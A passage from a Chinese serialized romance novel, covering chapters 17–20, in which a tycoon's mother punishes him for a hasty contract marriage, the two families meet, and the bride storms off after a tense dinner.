电梯抵达87楼,门一开,正碰上穿着冲锋衣的孟总。 孟翰泽进了电梯:“今天我去江边。” 家里的健身房在88楼,与客房一墙之隔。这会儿太早了,梁奚禾应该还在熟睡,他不想吵到她。 江边太冷,简腾的运动装厚度不适合,打算回去换。 孟翰泽:“不急,我有事交代你。” 简腾掏出小本本准备记录。 “把85楼以上的工作人员全部换成女性,年龄在40到50岁之间,其余条件不变。” 昨天她穿着浴袍跑出来,虽然不知道是事出突然还是习惯如此,他还是尽量创造令她舒适安心的环境。 简腾心里咯噔了一下:“……也,也包括我吗?” 孟翰泽觑他一眼:“暂时不包括你。” 暂时。 悬起的心落回去半截,简腾将松未松的那口气不上不下地堵在了那里。 孟翰泽又说:“从今天开始,你的活动范围仅在公共区域,没有我们的允许不要进家门。” “明白。” 其实不用吩咐,简腾这点眼力见还是有的,有了太太以后,他会自觉地注意男女大防,不会让太太觉得不便。 “太太搬过来住吗?”他问。 电梯到达一楼,听到这问题,孟翰泽迈出的腿顿住片刻,才含糊答:“偶尔过来。” 简腾眼睛微微睁大,有点惊讶孟总婚后的家庭地位会这么低,竟然只能等着太太偶尔过来临幸。 他紧抿唇角,做着表情管理。 孟翰泽想到新的事情交代:“问一下东楼管家,她平时习惯用什么牌子的睡眠喷雾、真丝眼罩……” 还有睡衣等,但他马上意识到这种私密物品显然不适合由简腾去准备,话锋一转,“请东楼管家把她的日常用品再置办一份送过来,费用我来。” 简腾:“收到。” 孟翰泽的手机响起,他接起电话步出电梯前:“你上去吧。” 电话是孟淑慧打来的:“你现在来一趟。” 母亲从没有在工作日提过这种要求,孟翰泽蹙眉:“妈,您没事吧?” 孟淑慧声音沉沉,不答只道:“马上过来。” 不知道出了什么事,孟翰泽折返楼上取了迈巴赫的钥匙,连衣服都来不及换,匆匆赶往雪霁山。 雪霁山上几百年的高大乔木枝繁叶茂,苍翠葱茏,将清晨的阳光遮挡得严严实实,山道被笼罩得时晦时明。 迈巴赫避让着晨练的路人,以最快的速度盘旋上山,抵达御景湾。 门卫远远见到车辆就将道闸升起,鞠躬致意。迈巴赫畅通无阻地驶向满觉院。 停了车,孟翰泽大步走进院子,章姨没有像往常那样知道他要来就等候在玄关,他的步履不由有些着急。 “妈?” 进门后他扬声找人,破了一室寂静,章姨这才匆匆迎出来,后面跟着他的司机凌叔。 夫妻俩面色惊惶,仿佛预见了即将到来的狂风暴雨。 孟翰泽沉声问:“怎么回事?” 凌叔不敢与之对视,章姨嗫嚅着:“太太,太太在佛堂……” 她正犹豫多说点什么,孟翰泽已经毫不犹豫地转身走了。 他扣了两下将门推开,淡淡的檀香味迎面而来,佛堂里烟气丝缕交织,孟淑慧正笔直地跪在蒲团上盘串念经。 听到动静,她睁开眼睛,行了拜礼后起身,孟翰泽上前去扶却被她拂开了手。 孟淑慧紧紧地盯着儿子,眼里似有两团压抑着的怒火在熊熊燃烧,气得上下唇颤动,声音沙哑而干涩。 “跪下!” 第18章 孟翰泽在蒲团上跪下,肃容看向佛龛。 小叶紫檀榫卯攒镶的门楼式佛龛,正面设栏杆两幅,嵌装莲花纹绦环板,上方挂檐透雕着万字纹图案。 供奉着明代木胎髹漆金的释迦牟尼成道像,佛陀结跏趺坐于莲花宝座上,螺形发髻,大耳落肩,双目低垂,宝相庄严。 这是他的祖父孟老先生的珍藏,也是一生的信仰。 孟淑慧明知故问:“昨天你做了什么?” 孟翰泽没想瞒着:“领证。” “和谁领证?” “梁奚禾。” “她是谁?” “梁茂林的女儿。” 孟淑慧趋近一步,居高临下锁视着他:“你对她的介绍,就只有梁茂林的女儿?” 又继续拷问,“为什么和她领证?” 他刚想回答,她又出声警告:“佛祖面前不打诳语。” 孟翰泽垂眸抿唇。 “你不说,那我来猜猜。” 从他身上移开视线,孟淑慧走向他身后的斗柜,“你一直想开发特种合金材料生产线,但孟氏董事会不支持,所以你想和梁茂林合作。” 她没有用疑问句,孟翰泽没有反驳。 孟淑慧又问:“那梁茂林的女儿能做什么?她是能帮你影响梁茂林的决策,还是……你想通过她,把梁氏握在手里?” 后面这句话,她几乎是咬牙切齿地说出口。孟翰泽瞳孔一缩,他没想到母亲会往这个方向想。 “我绝无此意。”他断然否认。 孟淑慧猛然回身:“那你是什么意思?” 孟翰泽抬首挺胸看向佛像:“我选择这段婚姻的确目的不纯,但绝不是觊觎梁氏。今天我在佛祖面前发誓,只要我还是梁家的女婿,将来无论梁氏发生什么事,我一定会竭尽所能护梁氏周全。” “好,你记住今天说的话。”孟淑慧走回他面前,厉声,“记住,你姓孟,不姓姚。我孟家,绝对不养背信弃义之辈。” 孟翰泽侧目,才看到她手里握着戒尺。 他自小由祖父亲自教养,幼时调皮,祖父就是用这把戒尺打在他的腿肚上训诫。十五年前,祖父猝然长逝,他一夜之间从桀骜少年变成必须能扛事的孟家继承人,没再需要谁管教。 这把戒尺作为祖父遗物,被孟淑慧带进满觉院,至今已有十五年,如今又将落到他的身上。 他看了一眼便收回视线,沉默地聆听她训话。 “发了誓也不代表这件事你做对了,我还是要动用家法。” 孟淑慧抬手,用足了力气往他的上臂抽了一道,“这第一下,是告诉你。想在孟氏董事会站稳脚跟,你必须脚踏实地,我宁愿你慢一点,哪怕晚个十年,也不要走旁门左道。” 第二下。 “婚姻乃人生大事,你如此草率,是对自己的不负责,也让我十分痛心。不好的婚姻会毁掉一个人甚至一个家庭,还需要我讲给你听吗?” 孟淑慧眼眶泛红,深吸了一口气后,第三下。 “你跟梁茂林合作的事我不懂,不多干涉,但他的女儿以后是你的妻子,我的儿媳,我绝对不允许你欺辱她,做任何伤害她的事。” 这几下她几乎用足了全身的力气。 孟淑慧将戒尺抛到茶几上,扶着搭手在太师椅上坐下平复情绪。 胳膊痛感明显,但孟翰泽依旧跪得板正。 “妈,您放心,我一定跟她好好相处。” “不够。” 孟淑慧点他,“你要尊重,爱护,善待她。将来等你们有了孩子,还要给孩子一个有爱的家庭环境。” 孟翰泽垂眸,没有应声。尊重和善待,他有能力做到,但是,“爱”,对于他和梁奚禾来说并不适用。现在的人不羞于表达爱,也没有那么看重爱了。 孟淑慧起身:“你草率领证已经是不尊重人家了。不管她是梁茂林的女儿还是王茂林的女儿,我都不可能让我儿媳妇不声不响地进门,以后让外面的人看低了去。” 她扬声喊道:“章歆。” 章姨和凌叔就在佛堂门外候着,听到声音马上推门进来:“太太。” 孟淑慧吩咐:“拿着我的名帖去梁家,就说问问梁董和夫人何时方便,我要上门拜访。” 孟翰泽:“梁董约了我见面,待会儿9点。” 孟淑慧望向斗柜上的铜胎珐琅彩座钟,现在是7点,还有两个小时。 略一思索,她道:“我跟你一块儿去见梁董。章歆,帮我更衣。凌志,通知高胜,让他马上把松鹤园打扫出来,准备开门迎客。” 章姨怕自己幻听,右手使劲掐了左手一把,感受到疼痛她才确定这不是臆想。 十五年,整整十五年了!太太终于愿意踏出雪霁山了! “好!我马上去拿新做的旗袍。” 她几乎喜极而泣,挽着孟淑慧回房。 两人走后,孟翰泽站起身,活动了一下胳膊。 凌叔垂着头,嗫嚅着上前:“孟总……” 昨晚他没忍住跟老伴说了领证的事,夫妻俩披衣靠在床头商量了大半夜,还是决定告诉太太。就怕哪天姚德容先知道了闹上来,把太太气出个好歹。 但早上等孟翰泽上山的时候,他越想越不对,自己应该先跟孟总商量。 孟翰泽果然面色沉冷:“从今天开始,你不再是我的司机了。” 凌叔一直担心自己好心办坏事,但现在的场面还算祥和,他怎么也想不到自己还会丢了工作,急了:“孟总……” “我的身边不留自作主张的人。” 对上凌叔惊惶的目光,孟翰泽的语气不容置疑。他走出佛堂,准备去隔壁自己的院子换衣服。 凌叔亦步亦趋地跟着求情:“孟总,您就看在我在孟家几十年的份上……” 闻言,孟翰泽停步,没有回身,“我结婚还有很多事打理,你以后就留在满觉院听我母亲差遣吧。” “谢谢,谢谢孟总!” 凌叔望着他的背影抹了把眼角。主仆情深,他们夫妻俩也是关心则乱才会越俎代庖。 幸好,一切都在往好的方向发展。 等母子俩都整装完毕,凌叔开着幻影载着他们去往梁氏大楼。 梁茂林和奚云岚这一宿也都没睡好,半夜奚云岚甚至还起来倒了杯红酒,和他来来回回地说着和孟家联姻这事儿。 要说宁市这帮太子爷里,孟翰泽确实最为出挑,梁茂林看着,这孩子无论从外形到能力都足以与他的宝贝女儿相配。 可外貌、能力的出众,对于作为一个丈夫来讲,却不是最重要的。最重要的是忠诚、爱妻、顾家,这几样,端看孟翰泽那个整天带着情人当太太招摇过市不嫌丢脸的父亲,是一样也没有。 家世美貌一等一的孟淑慧,温婉贤淑,气质绝佳。这样万里挑一的女子姚德平都能辜负,难说这姚家的基因里有什么劣根性。 奚云岚也从来没想过跟孟家联姻,她的禾苗被她全方位保护着长大,就连学校里女生小团体之间的龃龉都没有经历过,她怎么舍得让女儿嫁去那样复杂的人家,被卷入勾心斗角? 夫妻俩对坐大半夜,最后发觉现在说这些都是徒劳。都已经领了证,他们还真能押着女儿去离婚不成? 梁茂林捧着梁氏、孟氏合作成立特材公司的材料,一个字也没看进去,想着待会儿见了新女婿,该怎么敲打。 八点五十,助理来敲门:“梁董,姚太太来了。” 梁茂林眉头一皱:“她来干什么?” 助理:“是跟孟总一起来的。” 梁茂林眼神一利。 孟淑慧十五年没下山,外界都传姚德平的大房二房之间不睦。但在他看来,什么姚太太,什么二房都是扯淡,不过是个上不了台面的情妇。 “让他们进来。” 他不悦地将文件往桌面上一扔,倒想看看他这新女婿怎么会跟那种货色一起来见他。 红橡木双开门被完全打开,一袭藏蓝色祥云纹丝绒旗袍的妇人走在前面,头发梳成整齐光洁的发髻盘于脑后,未施脂粉,眼角有明显的纹路,却温柔婉约,难掩周身气度。 认出来人,梁茂林惊诧起身,迎了上去。他绝对没想到,隐居十五年的孟淑慧会亲自出山。 他们小时候,梁孟两家也算常来常往,他对这位孟家的姐姐一向敬重。 梁茂林郑重地与她握手:“孟女士,别来无恙。” 孟淑慧唇角含笑:“梁董,好久不见。” 她开门见山道,“今日我冒昧前来一是为了赔礼,翰泽不知礼数,胆大妄为,是我教子无方。二是诚邀亲家正式一叙。” 没睡好的还有梁奚禾。 枕头上没有熟悉的味道,也没有眼罩,还没有加湿器,房间里很干,她翻来覆去睡不着,将保温杯里的水陆续喝了干净,后来就又要小解。 直到后半夜才迷迷糊糊入睡,不到八点又醒了。 她决定还是回自己家去睡回笼觉,呵着哈欠下了楼。房子里很安静,她不确定孟翰泽是还在睡,还是已经出门。 岛台上有他的留言条:【醒了call简腾,电话是xxx,早饭会有阿姨送上来。】 字体龙飞凤舞、赏心悦目,梁奚禾马上想到他握着藏蓝色钢笔写字的那双手。 她将留言条放回去,没叫早饭,回了东楼,一进门就看到雷迪撑着额角坐在沙发上睡着了,身上还是昨晚那套套装。 梁奚禾心情复杂,站在门口轻咳了一声。 雷迪惊醒,抬眸看到她瞬间清醒,站起身:“Thea!” “等了我一晚上?” 雷迪走上前:“昨晚送走奚总后,我出去找你,听简管家说你去了西楼。” 她不确定梁奚禾和西楼那位孟总是什么情况,也等着跟梁奚禾解释昨晚的事,所以干脆等在这里。 “嗯,去睡吧。” 梁奚禾看她一眼就往房间走去,面色声线都不热络,显然还在生气。 雷迪跟上去:“Thea,去澳洲度假的事,我绝对没有跟奚总通风报信。” “已经去不成了,是不是你通风报信都不重要了。” “但我不想你误会……” 梁奚禾脚步一停,雷迪反应不及,差点撞上去。 她转身,突然问道:“雷迪,你不厌倦吗?” 雷迪一愣。 梁奚禾:“作为我的助理,我想问你,这份工作你做得开心吗?处理我的各种琐事,还要夹在我们母女之间受气。如果我是一个未来可期的继承人,那你确实有可能跟着水涨船高。可我不是。你真的打算把你的时间全都浪费在做一个……nanny吗?” 雷迪眼睫轻颤。 梁奚禾又道:“作为我亲近的姐姐,我还想问你,你这么多年不间断地刻苦学习,是有梦想的吧?当年没有深造是因为手头拮据,那现在呢?据我所知奚总开的工资不低,你已经有条件了,为什么不去继续追求梦想呢?” 雷迪的手指不自觉地捏起,内心正在剧烈震动。 梁奚禾看着她,一贯端庄的人一夜没睡,此时眼下青黑,鬓角散落了几根发丝。 她觉得自己刚刚有点咄咄逼人,就放缓了语气:“我跟你说这些,站在我的立场,是因为不想再被父母监视。但请不要怀疑我的好意。因为我是一个不知道自己要什么的人,所以看到你有梦想觉得特别珍贵,希望你能认真考虑一下自己的人生选择。” 她转身离开,留雷迪顿在原地默然许久。 连廊顶端的泳池,白天的时候,简腾会让人把顶棚打开透气。 今天的天气特别好。 雷迪坐在泳池边的躺椅上,仰头看着晴空如洗,风稍稍有点凉,但不影响,她正好需要凉风让自己冷静地思考。 “雷助理,原来你在这里啊!” 简腾抱着笔记本,从西楼那边跑过来。 雷迪用纸巾在眼角按了按,打起精神应酬:“简管家,找我有事吗?” 简腾在旁边的躺椅上坐下:“是这样的,孟总吩咐我请你帮忙备一套太太的日用品送到西楼。” 说起“太太”,雷迪想起前两天两人各说各的。原来他只是早就知道领证的事,对之前心里蛐蛐他癫,她感到抱歉。 “好。”她爽快答应。 “另外呢,孟总要求工作人员都换成女性,我已经发布招聘信息了,我想请你一起过几天跟我一起面试,因为你最了解太太的需求嘛。” “好。” 简腾喜气洋洋地朝她伸出手:“那我们以后就精诚合作了,雷助理。” 雷迪看着他的手,没有握上去,突然问道:“你觉得做管家开心开心吗?” 简腾一愣:“……开心啊。” 高薪体面,老板事少脾气好,不要太开心了,最近老板想换掉男员工,他还正在患得患失。 见她情绪有点低落,他弱弱反问,“你不开心吗?” 雷迪此时此刻大概太需要倾诉了,她垂着头,第一次对人交浅言深:“开心的。Thea是一个很好的姑娘,我们相处得很好,她也很为我考虑。只是……我想她说得对,我应该重新回去念书。” 简腾眼睛一亮,他其实很担心孟总会因为职能相同而将他裁掉,把东西楼一应事情交给雷迪。没想到她会有辞职的想法。 他马上说道:“读书好啊,你思维敏捷,逻辑清晰,肯定会在你的专业里有一番建树的。雷助理,你放心把太太交给我吧。” 他掏出笔记本,“太太有什么喜好,或者忌讳,你都告诉我。” 其实不需要别人鼓励,她上来的时候就已经下了决心。雷迪吐了一口气,看到简腾积极的样子觉得好笑。 “手机可以借我吗?我有些话,想直接发给孟总。” 第19章 “孟总您好,我是梁奚禾小姐的生活助理雷迪。我在梁小姐身边五年,说句僭越的话,已经把她当成了妹妹,所以在离职前有些关于她的事情,我想跟您交代一下。当然,要先祝二位新婚快乐。” “首先,也是最重要的一点,Thea的胃很敏感。如果吃多了,积食就一定会发烧,饿久了也会胃疼,所以家里和包里请帮她常备胃药。她不能吃辣,更不能喝酒,但是这家伙偶尔会犯馋,麻烦您多看着她。” “她最喜欢做的事情其实是画漫画。不过这点她从来没有说过,是我观察的。在英国开心或不开心时,只要开始画漫画,她就会沉浸其中自得其乐,但是回家后她就很少会画了,因为奚总不允许她把时间浪费在这上面。如果以后您看到她画画,请给她空间,也请帮忙保密。” “另外,这两年她开始做很多尝试,别人可能会说玩物丧志,但绝对不是。她只是迷茫,不知道该做什么,所以在努力探索感兴趣的事,想锻炼胆量突破自我。如果可以,请孟总多多支持,给她一点时间寻找未来的方向。” 四条长语音发出,雷迪捏着手机呼了一口气,有点如释重负,更有些怅然若失。 互相陪伴的五年,与其说是她照顾了梁奚禾,不如说是梁奚禾带她看到了更大更广阔的世界。 但她们终究不是一个世界的人。往后的日子里,她会退回普通人的生活,与梁家这样的豪门再无交集。 简腾都听在耳朵里,有感而发:“雷助理,你跟太太的感情真好。” 这种感情已经远超雇佣关系,像他就不知道孟总心里在想什么,会不会开掉自己。 雷迪笑笑:“是啊。” 把手机还给他,“简管家,我跟你详细说说太太的喜好吧。”。 梁茂林拿出珍藏的1952年红印青饼普洱熟茶招待贵客,他亲自泡茶。 正巧孟淑慧也好茶道,两人便从“茶”开始聊起,聊到孟老先生。 梁茂林对这位全国著名的实业家满是崇敬。孟老先生热心公益,尤其关注孩子的抚养与教育。他一生资助与建立了数以百计的育婴堂和学校,庇护了不少孤儿和家境贫困的孩子。这其中已有不少孩子长大成人后,在社会各界发光发热,功成名就。 又从长辈,聊到他们自己年轻时,最后说起各自的孩子。只字未提商业合作事宜,就仿佛这是一桩普通的水到渠成的婚姻。 杯中茶尽,孟淑慧起身告辞。 “亲家,那我们就说好了,周六欢迎阖家来松鹤园一叙。” 梁茂林笑道:“一定。” 孟淑慧看向孟翰泽:“那我就不耽误你们聊公事,先回去了。” 孟翰泽颔首,梁茂林拍拍他的胳膊:“先送你母亲回去吧,晚上到家里吃饭,咱们边吃边聊。” 被拍到的胳膊隐隐作疼,但孟翰泽暗自松了一口气。 虽然昨晚在她面前打了包票,但他也认为梁董夫妇未必会对此事轻拿轻放,不仅做好了承接梁董滔天怒火的准备,也做好了持久战的心理准备。 没想到母亲一出马,他风平浪静地成了能被邀请去梁家吃饭的女婿。 坐到车上,孟淑慧嘱咐:“晚上去你老丈人家吃饭,绝对不能空手去。我会准备好礼物,下午让人直接给你送公司去,一定记得带上。” “好。” 孟淑慧继续说:“你问问禾苗什么时候有空?家长见面归家长见面,我也想你们回家吃顿便饭。”那样才像自家人。 “好,我问问她。” 刚刚梁董一直称呼宝贝女儿为“禾苗”,母子俩已经耳熟于心。 孟翰泽觉得这个昵称特别贴切。 昨晚电梯门一开,闯入他视线里的人垂着头蔫蔫的,像独自舔舐伤口的小兽,脆弱得仿佛下一秒就能听到她的呜咽声。 可其余时间的她更像一只气血旺盛的小刺豚,棱角分明,喜怒直接,绝不逆来顺受。 确实是一棵柔弱又充满生命力的禾苗。 也不知道起床了没有。 孟淑慧看着窗外,母子俩没再说话,孟翰泽握着手机,想给她发个消息,一时不知道该用什么样的开场白。 【起来了吗?】 ——好像他们还没这么熟。 【晚上我去你家吃】 ——没打完就删掉,“你家”不太礼貌。 【晚上我去家里吃饭。】 ——没头没脑的一句,挺奇怪的。 正犹豫不定,他突然想到她是没带手机跑出来的,于是作罢。 刚锁屏,手机就接连震动,简腾连发了几条长语音。知道有急事对方会打电话,他没耐心细听人长篇大论汇报琐事,打了句:【说重点。】 回到满觉院,简腾才回过来:【孟总,我已经跟雷助理对接过了,以后东楼的事务我也会全权负责,保证让您跟太太满意^v^】 对喜欢发表情包的男人,孟翰泽一视同仁地充满嫌弃,扫了一眼这番突如其来表忠心的话,没回…… 梁奚禾饱食一顿早午饭后就一直在睡,直到雷迪来唤醒。 在熟悉的音乐里醒来,她看着天花板上的水晶灯发了一会儿呆。 孟翰泽家的沙发很舒适,但客房的床还是不如她自己的。除了睡眠喷雾与眼罩,她还需要宽屏床带来的包围感。 不知道为了演戏还得过去睡几次?她琢磨着,不然自己买张床过去换了? 洗漱时,雷迪拿了一件迪奥的黑色丝绒连衣裙过来,泡泡袖掐腰设计,领口还有一圈白色蕾丝。 “这是做什么?” 不用跟奚总出席同一个场合,梁奚禾是绝对不会穿这样的款的,何况她待会儿还要去夏末店里取车。 雷迪:“刚刚奚总打电话来说,孟总晚上会到家里吃饭,让我们也一起回去。” 梁奚禾:? 孟翰泽?到家里吃饭? 她极力克制才没笑出声来,哦莫,这男人也太厉害了吧,就这么云淡风轻地把她老爸老妈搞定了?! “嘶。” 脸颊突然刺痛,是她一时忘形把洗脸巾抹到了伤口上。 梁奚禾飞快俯身凑近镜子查看情况,还好没再出血。看着看着又郁闷起来,早知道如此,她昨晚应该忍耐一下的,父母留给他去搞定就好了,现在白受一茬罪。 还有,待会儿要见奚云岚女士了,也不知道还有什么犀利言语等着自己。 梁奚禾做了个深呼吸。不管老妈说什么,忍字诀,护照被缴了,卡不能停。 和雷迪回到梁家,梁奚禾在小客厅坐下,拎起一个车厘子慢慢吃。搬去双子大厦后,回到这里,她把自己当成客人。 几个阿姨进进出出地忙活。打扫的,布置花束的,洗水果的,备小食的……好不热闹。 奚云岚讲究生活品质,梁家的家居布置一贯优雅奢华有腔调。只不过今天格外隆重,管家阿姨让人把日常摆放的银制摆件都换成了奚云岚珍藏的路易十五风格的鎏金青铜小雕塑,还有茶具也拿出了整套19世纪出产的塞弗尔浮雕瓷器。 梁奚禾一边看她们忙碌,一边腹诽。老妈应该去法国买个庄园住个古堡,那么收藏这种隔着文化差异的摆件饰品才足够对味。 “回来了?” 奚云岚从电梯里走出。 梁奚禾没想到她在家,记忆里这位事业型女性工作日绝对不会在七点之前到家。 她抽了张擦了擦手,起身:“妈妈。” 奚云岚今天没去公司,上午补了觉,听丈夫说邀请了孟翰泽来家里吃晚饭,下午她就没出去,让人整理家里,自己化了个精致的妆容,让气色看起来好了很多。 怎么说都是新女婿第一次上门,她再不高兴也得给面子,给足对方面子,也是帮女儿经营婚姻。 “回来得正好,孟翰泽喜欢吃什么?” “……” 梁奚禾哪知道,又不能表现得不熟,随口胡诌,“冬笋炒肉,油焖笋,腌笃鲜……”全是她自己这两天惦记吃的。 管家阿姨听了,马上去吩咐厨房准备。 奚云岚坐到沙发上,目光落到女儿的脸颊上,眉头微不可察地皱起。昨晚她气糊涂了,手上没有轻重,也不知会不会留疤。 “伤口自己处理的?我让苏医生过来再看看。” “不用,孟翰泽已经让医生看过了。” 为了赚印象分,梁奚禾抓住机会表现一下,奚云岚果然没再说话,看神色对这个答案应该还算满意。 管家阿姨泡了两杯红茶端着托盘送过来,雷迪赶紧帮忙布茶。 奚云岚看着她:“雷迪,昨晚我话说重了,你别往心里去。” 雷迪惶恐地摇头。 来的路上,梁奚禾已经知道雷迪的决定,趁机说道:“怎么可能不往心里去?奚总的强势与霸道都要把我的雷迪姐姐吓跑了,她正准备辞职。” 雷迪给梁奚禾端茶的手一抖,差点洒出来,拼命朝她使眼色。 奚云岚有点尴尬,抿了一口茶对雷迪说道:“抱歉,不是针对你。我是气急了,那种情况下,我想换作任何一位母亲都没办法冷静。” 抬眸看向梁奚禾,她眼神平静无波地阐述自己的失望和遗憾,“梁奚禾,在我原来对你的人生规划里,结婚生子是排在最后面的选项。你既然知道爸爸妈妈已经替你挣了丰厚的家底,为什么不愿意学着打理这份家业呢? “常言道,手里有钱,心中不慌。如果你有能力握住这份家业,世界就是你的游乐场。将来遇到喜欢的人就结婚,没遇到,不结婚又有什么重要的。” 老生常谈的话题。 梁奚禾靠向沙发,下巴埋进毛衣领子里。如今她已经结婚,有了同盟军就像有了倚仗,说起这个话题就没那么容易炸毛。 她懒洋洋地说:“我看你们被绑在公司朝七晚七,世界就是巨大的会议室,哪里算游乐场了。妈妈,我已经遇到喜欢的人结婚了,请你不要动摇一个有夫之妇的军心。” 她身上的宽松白色绞花毛衣来自Celine,牛仔裤是LV的也是宽松款。这是奚云岚给她挑的为数不多的裤装,但只是备着而已,没想让她穿,还这样把宽松跟宽松搭在一起,显得邋里邋遢。 挑剔的话将要出口,看到那道伤痕又忍住,奚云岚喝了口茶把话一起咽了下去。 梁奚禾说回雷迪:“妈妈,雷迪辞职不是开玩笑的。我知道你当初聘请她就是因为欣赏她的认真努力,她确实没辜负你的期望,她要重新回学校念书了。” 雷迪从惊吓转为感激地看了她一眼,尽管已经做了决定,怎么跟奚总开口是个问题。 奚云岚很是意外:“念书?” 没来得及细聊,管家阿姨来汇报:“奚总,梁董和孟总回来了。” 两人起身出去。 梁奚禾惦记着对口供,步子迈得极大,惹得奚云岚侧目。 到了玄关,她越过梁茂林,直接挽上了孟翰泽的胳膊,语气娇柔地说:“你来啦。” 前面以为女儿要扑自己的梁茂林笑容僵在了脸上。 看着这一幕的奚云岚则是唇角含笑眼神带冷,真没想到自己会生出这样一个恋爱脑。 在社交场合应对任何暗潮汹涌都游刃有余的孟大总裁,此刻留意不到岳父岳母的微表情,他思维凝滞,大脑空白了两秒。 明明第一次见面时,她连跟他握手都能免则免,现在却愿意主动挽他,不是礼仪性地虚挽着,而是用力地,像期待了见面许久地那样挽着。 梁茂林清咳了一声。 孟翰泽回神,看了看梁奚禾,朝奚云岚颔首致意:“奚总,叨扰了。” 奚云岚情商高:“你这孩子,还客气什么,快进来。” 梁奚夫妇进了屋内,管家阿姨接过孟翰泽手里的几色礼物,他下意识地想跟上,胳膊被人用力一拽。 梁奚禾微微踮脚,尽量凑近他耳边用气声说道:“我妈问我你喜欢吃什么,我说了……” 他身体一僵,耳边是她呼出的气体,宛如极寒之地忽被热带岛屿的海风拂过,寒潮暖流初遇,激起一阵颤栗,完全听不清她说的话。 “不要露馅哦,走吧。” 统一好口径,梁奚禾马上放开他朝里走,孟翰泽仿佛这才适应屋内的温度,恢复了正常的呼吸换鞋。 人到齐开饭,梁茂林开了茅台,笑道:“这是你上次送的那瓶,没想到咱们爷俩会一起喝。” 孟翰泽举杯,正色道:“梁总,奚总,领证的事是我太冲动了,没跟家里商量,我正式向二位道歉。” 梁奚禾瞄他一眼,还真的把事情全揽在他身上了。 不过她也不是没义气的人,当即陪上橙汁:“年轻人血气方刚,爸爸妈妈能理解的吧?” 梁茂林和奚云岚与两人碰杯,不赞同与就此揭过都尽在不言中。 梁奚禾放下杯子,故作亲昵地给孟翰泽夹菜。 孟翰泽看着碗里逐渐垒高的油焖的清煮的爆炒的冬笋顿了顿,他吃笋过敏,所以从来不吃。 梁奚禾笑眯眯地说:“知道你爱吃,妈妈特地让厨房准备的。” 孟翰泽:“……谢谢奚总。” 他面色淡定地将碗里的冬笋吃了个干净,很快嗓子泛起痒意,就像咽炎犯了,忍不住咳嗽。手边没有水,没好意思叫人倒水,酒就多喝了点。 等饭后随着梁茂林上楼去书房时,电梯上行他似乎都感觉到一点晕。 他们一走,奚云岚忍不住开口批评:“梁奚禾,你能不能不要这么恋爱脑……” 梁奚禾不想听,弹跳起来抢过阿姨端的果盘:“我去给他们送水果。”遁了。 书房的门敞开着,她一走近就听到老爸说:“禾苗跟我们沟通不畅,你说的话她应该会听。人不能没正经事做,让她到公司上班吧。” 孟翰泽:“好,我会劝她。” “那就交给你了。” “好。” 梁奚禾眉头一跳。 什么?他该劝的人是她吗? 亏她把他当成同盟军,登堂入室以后他就把协议忘了吗? 他怎么这么两面三刀,见人说人话,见鬼说鬼话,想把两边的好处都占尽吗? 她顿感愤怒,走进去把果盘砰地一声放到茶几上,两人错愕地抬头看她。 梁奚禾怒目而视,几乎要叉腰骂他:“孟翰泽,你这个骗子!叛徒!你要是忘记了答应过我什么,那我们还是离婚吧!” 梁茂林凝眉:“梁奚禾!” 梁奚禾怎么也没想到给敌方阵营招揽了一员大将,气得热血沸腾,也不想听他们说教,“哼”了一声扭头就走。 第20章 夸父重机俱乐部。 杜师傅洗好锅碗,清扫了厨房,擦着手出来:“那我先回去了?” “行,您回吧。” 夏末正跟姚博远翻着扑克玩干瞪眼,抬头回杜师傅的时候顺便瞄了一眼墙上的挂钟,七点三刻了,梁奚禾说今天要来取车,他们等到这个点。 姚博远看他一眼:“你也回去吧。” “那不行,绝对不能让金主姐姐跑空。” 六点的时候,他发过一条信息:【禾姐,过来吃晚饭不?】 当时他们已经等了一个白天,他借邀请之名探她的口风,但她没回。他也不敢再问,免得暴露催促之意。 姚博远:“我等着。” 夏末甩出一张牌:“我怀疑你在跟我争宠,先声明,我是绝对不会把金主姐姐让给你一个人的。” 姚博远掀起眼皮,像看弱智一样地看了他一眼。 夏末突然想到:“你爸妈不是今天回来吗?你才该回去了吧。” “我今晚住这边。” 姚博远本就冷淡的面色降至冰点,夏末只当他不欲父母知道自己这周没去学校,嘻嘻哈哈地调侃了他两句。 八仙桌上手机亮起,来电显示“禾姐”,夏末像看到曙光一般激动地将扑克牌扔了接起来。 “禾姐?” “我到了,开门。” “来了来了。” 他匆忙跑出去,卷闸门其实没关,被杜师傅拉到了膝盖高度。当然,千金大小姐是不会纡尊降贵亲自把门拉起来的,他懂他懂。 夏末麻利地将门拉起,讨好的笑意尚未完全绽开,就对上来人幽冷的眸子,他心下一凛,感觉到了一股杀气腾腾。 梁奚禾往里走:“车呢?” 他被气场震慑到,打了磕巴:“在,在后院。” “材料呢?” “已,已经放进边箱了。” “嗯。” 梁奚禾一句多余的话都没有,姚博远略抬头就看到她神色冷凝地路过餐厅,大步走向后院,而夏末像条小狗一般摇着尾巴尾随其后。 他起身跟过去。 牌是他上的,号码是他选的,这位大小姐有什么不满意的,就冲他来。 梁奚禾没注意牌照,拎起头盔就戴,跨坐到了车上。 夏末杵在车跟前邀功:“禾姐,宁ALXH01,博远选的这号怎么样,‘梁奚禾宁市No.1’的意思!” 梁奚禾不知道男的对这种01、001的车牌号码到底有什么执念,反正她是没有的,只觉得幼稚到不行。 她冷漠地开口:“让开!” 马屁拍到了马脚上,夏末一愣,姚博远双手插袋站在一边,见状长臂一伸,扯着他衣服上的帽子将人拉了过来。 梁奚禾合上头盔的挡风板,启动了车辆开出院子很快汇入到市政道路,他们听到了杜卡迪拉足马力轰鸣着远去。 领子抠到了脖子,夏末一边调整,一边回头问:“你觉不觉得她心情不好?” 姚博远淡淡地看了他一眼。 还用问么,这姐一副恨不得创死所有人的样子。 “走的时候把门锁好。” 他不咸不淡地交代,准备去洗澡,今晚就在办公室的行军床上将就一晚,明天直接回学校。 忽然,被人扯住了胳膊。 夏末面带忧色:“你刚刚有没有看到她脸上受伤了?” “没有。”姚博远过来的时候,她已经戴上了头盔,他没注意。 夏末很确信,点点自己颧骨的位置:“这里,很明显的一道。你说她是不是遇到什么事了?” 就算她真遇到什么事,也跟他们没关系,姚博远没说话。 夏末想到她之前没回信息,瞬间脑补了被抢劫威胁勒索等等桥段,他一激灵:“不行,咱们跟着去看看。这么晚了,女孩子一个人在外面乱跑,太危险了。” 他转身就去开车,姚博远被他扯了一把带到了车前,无奈地跟上…… 二环外属于城乡交界处,本就路宽车少,这个点路边店铺陆续打烊,路上更是空旷。 一路绿灯,杜卡迪疾驰着从支路开出,到了与主干路相交的交叉口才吃到了红灯。梁奚禾单脚着地放开了把手,从匍匐的姿势起身。 